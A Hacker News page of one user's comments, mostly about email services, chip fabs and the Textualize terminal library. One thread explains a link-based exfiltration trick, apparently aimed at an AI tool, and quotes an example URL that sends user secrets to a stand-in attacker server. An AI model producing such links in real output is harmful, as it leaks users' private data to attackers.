Hacker News new | past | comments | ask | show | jobs | submit | more sam1r's comments login

In the end of the day, we all just need to clear our email ourselves. That time should not go into paying you and fighting your data policy which is already trespassing, in my opinion.

If one does not already maintain their emails and subscriptions meticulously, which makes you think they will pay for your service, regularly?

The other thing is that, let's say, if I do share my email data with you -- 99% of it is likely to be immediately trashed, i just haven't spent the time to do it. So to relegate that to a third party, that's probably the reason I didn't delete it in the first place.

The value-add on of this service doesn't solve my reason for redundenant emails with unsub links -- i haven't had the spare few seconds to verify and do it myself.


>> Unless you can spin up your own fab (hint: you can't) you're dependent on a hegemon. US/EU/Israel isn't perfect, but pretty much as good as it gets.

It's much easier to spin up your fab tech more so now -- than ever before.


>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs.

Does this mean that the user clicks the link AND AUTHENTICATES? Or simply clicks the link and the damage is done?


Simply clicks the link. The trick here is that the link they are clicking on looks like this:

    https://evil-attacker-server.com/log-this?secrets=all+the+users+secrets+are+here
So clicking the link is enough to leak the secret data gathered by the attack.


The "reauthenticate" bit was a lie to entice them users to click it to 'fix the error'. But I guess it wouldn't hurt to pull a double whammy and steal their password while we're at it...


Because you may have no issue using browsers with extended batteries + features.

How about displaying data on cli w/ textualize vs on an admin web interface.

I find it much easier + direct to use some py-orm w/ textualize.

On an admin interface you’d have to worry about auth + some js ui framework that prints your custom html directives to tables… that eventually display text.


Or what if you just prefer to not use a browser to get your information on the internet. Textualize is like the only choice I can jump to.

It’s much better to hyperlink and open image and video in the browser from the terminal. In my opinion. Playing it would just block your terminal session, so it’s pretty annoying to have to open another tab with an inline video playing. I am happy with the features with textualize and haven’t even thought about needing things that play over a duration beyond a few seconds.

Textualize then becomes the browser api that I build my terminal browser and render only the components I care about.

None of that background or js libraries, ads. It’s well worth it.


Whoa! That is so cool. Thanks for the use case example.


Thank you so much for making this. I use this quite regularly + rigorously for my own personal tracking, scheduling and much more.

Thanks to textualize, I can interact with the external world with full control in a black box.


Agreed!

If every acknowledgement of the(or any imo) issue at hand, was accompanied with a minimally viable solution (even if it doesn't work) -- as the defacto standard for providing critical feedback..

As long as some effort is put in towards a countering possible solution in response-- I truly feel that we would be closer to an end solution.

I guess should this "problem" truly exist.


>> >Today, we have the technology and knowledge to create tools that prevent developers from wasting valuable development time deciphering static, outdated diagrams,

"Outdated", imo, is subjective to the content and is bias'd by the time since creation.

As long as wireframed thought is the bare skeleton, the diagrams are merely a read-only user interface to communicate to a particular end-user audience.


Fwiw, the professor is Stanford Alma matter affiliated with Stanford’s junior branch in Peru


Join us for AI Startup School this June 16-17 in San Francisco!

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: